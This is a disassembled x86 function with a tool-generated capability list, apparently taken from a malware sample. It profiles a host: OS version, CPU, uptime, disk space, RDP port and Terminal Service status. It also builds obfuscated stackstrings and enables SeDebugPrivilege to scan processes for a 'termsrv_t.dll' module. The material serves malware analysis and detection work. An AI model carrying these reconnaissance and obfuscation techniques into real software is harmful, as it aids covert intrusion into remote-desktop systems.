Function at 0x1002c470
Capabilities:
Acquire debug privileges
Check os version
Contain obfuscated stackstrings
Enumerate processes
Get common file path
Get cpu information
Get disk information
Get disk size
Get graphical window text
Query or enumerate registry value
Query service status

Disassembly:
sub esp, 0x67c
push ebx
mov ebx, dword [esp + 0x684]
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x124
xor eax, eax
mov edi, ebx
xor esi, esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0xb8]
mov dword [esp + 0xb8], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0xbc]
cmp eax, 4
ja 0x1002c4ba
mov esi, 0x10125578
cmp eax, 5
jne 0x1002c4e9
mov eax, dword [esp + 0xc0]
test eax, eax
jne 0x1002c4d1
mov esi, str.2000
jmp 0x1002c548
cmp eax, 1
jne 0x1002c4dd
mov esi, 0x1012556c
jmp 0x1002c548
cmp eax, 2
jne 0x1002c548
mov esi, str.2003
jmp 0x1002c548
cmp eax, 6
jne 0x1002c548
mov eax, dword [esp + 0xc0]
test eax, eax
jne 0x1002c511
cmp byte [esp + 0x152], 1
jne 0x1002c50a
mov esi, str.Vista
jmp 0x1002c548
mov esi, str.2008
jmp 0x1002c548
cmp eax, 1
jne 0x1002c52e
cmp byte [esp + 0x152], 1
jne 0x1002c527
mov esi, 0x101000e8
jmp 0x1002c548
mov esi, str.2008R2
jmp 0x1002c548
cmp eax, 2
jne 0x1002c548
mov al, byte [esp + 0x152]
mov esi, 0x101000e4
cmp al, 1
je 0x1002c548
mov esi, str.2012
mov ecx, dword [esp + 0x14c]
and ecx, 0xffff
push ecx
push esi
push str.Windows__s_SP_d
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0xc
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [esp + 0x494]
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x4c]
mov ecx, 0x35
xor eax, eax
lea edi, [esp + 0x4b4]
push edx
push 1
rep stosd dword es:[edi], eax
mov dword [esp + 0x54], eax
push eax
lea eax, [esp + 0x490]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1002c639
mov ecx, 0x40
lea edi, [esp + 0x155]
mov byte [esp + 0x154], al
lea edx, [esp + 0x154]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0x80
stosb byte es:[edi], al
push ecx
mov ecx, dword [esp + 0x50]
lea eax, [esp + 0x74]
push edx
push eax
push 0
push str.ProcessorNameString
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002c62c
lea edx, [esp + 0x154]
mov ecx, ebp
push edx
call fcn.1002df20
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebx + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x4c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1002c661
mov edi, 0x101254dc
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebx + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 5
mov esi, str.CTXOPConntion_Class
lea edi, [esp + 0x258]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
lea edi, [esp + 0x26c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x155]
mov byte [esp + 0x154], al
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x25c]
push ecx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x1002c7fe
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0x258]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1002c6e6
test cl, cl
je 0x1002c6e2
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1002c6e6
add eax, 2
add esi, 2
test cl, cl
jne 0x1002c6c2
xor eax, eax
jmp 0x1002c6eb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1002c7d7
lea eax, [esp + 0x258]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x258]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x257]
dec ecx
cmp al, 0x5f
jne 0x1002c718
lea edi, [esp + ecx + 0x259]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x154]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebx + 0x390]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x154]
mov esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ecx, [esi + ecx + 2]
cmp ecx, 0x100
ja 0x1002c7d7
lea edi, [esp + 0x154]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100ff5dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x690]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
lea edx, [esp + 0x258]
mov ebp, eax
push 0x104
push edx
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x1002c6b6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov ecx, edx
mov eax, esi
xor edx, edx
mov esi, 0x5265c00
div esi
mov edi, 0x36ee80
shr ecx, 0x18
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul esi
shr edx, 0x15
push edx
push ecx
lea eax, [ebx + 0x100]
push 0x101254cc
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [ebx + 0x200]
push ecx
call fcn.1002de40
call fcn.10028f00
mov edi, dword [sym.imp.MSVCRT.dll_atol]
mov esi, eax
push esi
call edi
push esi
mov dword [ebx + 0x300], eax
call sub.MFC42.DLL_operatordelete
call fcn.10029aa0
mov esi, eax
push esi
call edi
push esi
mov dword [ebx + 0x304], eax
call sub.MFC42.DLL_operatordelete
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add esp, 0x28
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dl, bl
lea eax, [esp + 0x50]
add dl, 0x42
push eax
mov byte [esp + 0x54], dl
mov byte [esp + 0x55], 0x3a
mov byte [esp + 0x56], 0x5c
mov byte [esp + 0x57], 0
call ebp
cmp eax, 3
jne 0x1002c906
lea ecx, [esp + 0x60]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x78]
push edx
lea ecx, [esp + 0x58]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x68]
mov edx, dword [esp + 0x6c]
mov ecx, 0x1e
call fcn.10030e10
mov edx, dword [esp + 0x64]
add esi, eax
mov eax, dword [esp + 0x60]
mov ecx, 0x1e
call fcn.10030e10
add edi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1002c8a0
mov ebp, dword [esp + 0x690]
push 0x80
lea edx, [ebp + 0x280]
mov dword [ebp + 0x308], esi
push edx
push str.RDP_Tcp
mov dword [ebp + 0x30c], edi
call fcn.10028e70
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x1002c957
push str.OpenSCManager_Error_
jmp 0x1002cc64
push 0xf01ff
push str.TermService
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1002c978
push str.OpenService_Error_
jmp 0x1002cc64
lea eax, [esp + 0x9c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x1002c9a1
call edi
push esi
call edi
push str.QueryServiceStatus_Error_
jmp 0x1002cc64
call edi
push esi
call edi
cmp dword [esp + 0xa0], 4
jne 0x1002cc5f
push 0
push 0
lea ecx, [esp + 0x84]
push 0
push ecx
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10016a90
lea edx, [esp + 0x9c]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x24
test eax, eax
jne 0x1002cc58
mov esi, str.Win_XP
lea eax, [esp + 0x7c]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x1002ca22
test cl, cl
je 0x1002ca1e
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x1002ca22
add eax, 2
add esi, 2
test cl, cl
jne 0x1002c9fa
xor eax, eax
jmp 0x1002ca27
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1002cc51
mov al, 0x65
push 0
mov byte [esp + 0x1f], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x33], al
mov byte [esp + 0x37], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x40], al
mov byte [esp + 0x47], al
mov byte [esp + 0x49], al
mov cl, 0x72
push 0
lea eax, [esp + 0x590]
push 0
mov dl, 0x53
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x37], cl
mov byte [esp + 0x40], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x4c], cl
mov byte [esp + 0x52], cl
push eax
push 2
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x39], dl
mov byte [esp + 0x3d], dl
mov byte [esp + 0x4a], dl
push str.ServiceDll
mov bl, 0x74
mov dl, 0x61
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x31], 0x59
mov byte [esp + 0x33], 0x54
mov byte [esp + 0x34], 0x45
mov byte [esp + 0x35], 0x4d
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x43
mov byte [esp + 0x38], 0x75
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x43
mov byte [esp + 0x3f], 0x6f
mov byte [esp + 0x40], 0x6e
mov byte [esp + 0x41], bl
mov byte [esp + 0x43], 0x6f
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x5c
mov byte [esp + 0x4c], 0x76
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x63
mov byte [esp + 0x50], 0x73
mov byte [esp + 0x51], 0x5c
mov byte [esp + 0x52], 0x54
mov byte [esp + 0x55], 0x6d
mov byte [esp + 0x59], 0x76
mov byte [esp + 0x5a], 0x69
mov byte [esp + 0x5b], 0x63
mov byte [esp + 0x5d], 0x5c
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x5f], dl
mov byte [esp + 0x61], dl
mov byte [esp + 0x62], 0x6d
mov byte [esp + 0x64], bl
mov byte [esp + 0x67], 0x73
mov byte [esp + 0x68], 0
call fcn.10016a90
lea edx, [esp + 0x5a8]
push str.termsrv_t
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x28
test eax, eax
je 0x1002cc4a
lea eax, [esp + 0x154]
push 0x104
push eax
mov dword [esp + 0x364], 0x128
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x154]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x35c]
mov esi, eax
push edx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002cc29
mov ecx, dword [esp + 0x364]
lea eax, [esp + 0x154]
push eax
push ecx
call fcn.1002ac90
add esp, 8
test eax, eax
jne 0x1002cc24
lea edx, [esp + 0x35c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1002cc29
mov ecx, dword [esp + 0x364]
lea eax, [esp + 0x154]
push eax
push ecx
call fcn.1002ac90
add esp, 8
test eax, eax
je 0x1002cbf6
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
test edi, edi
je 0x1002cc4a
push 0x10125440
jmp 0x1002cc64
push 0x10125430
jmp 0x1002cc64
push 0x1012541c
jmp 0x1002cc64
push 0x1012540c
jmp 0x1002cc64
push 0x101253fc
add ebp, 0x310
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x67c
ret 4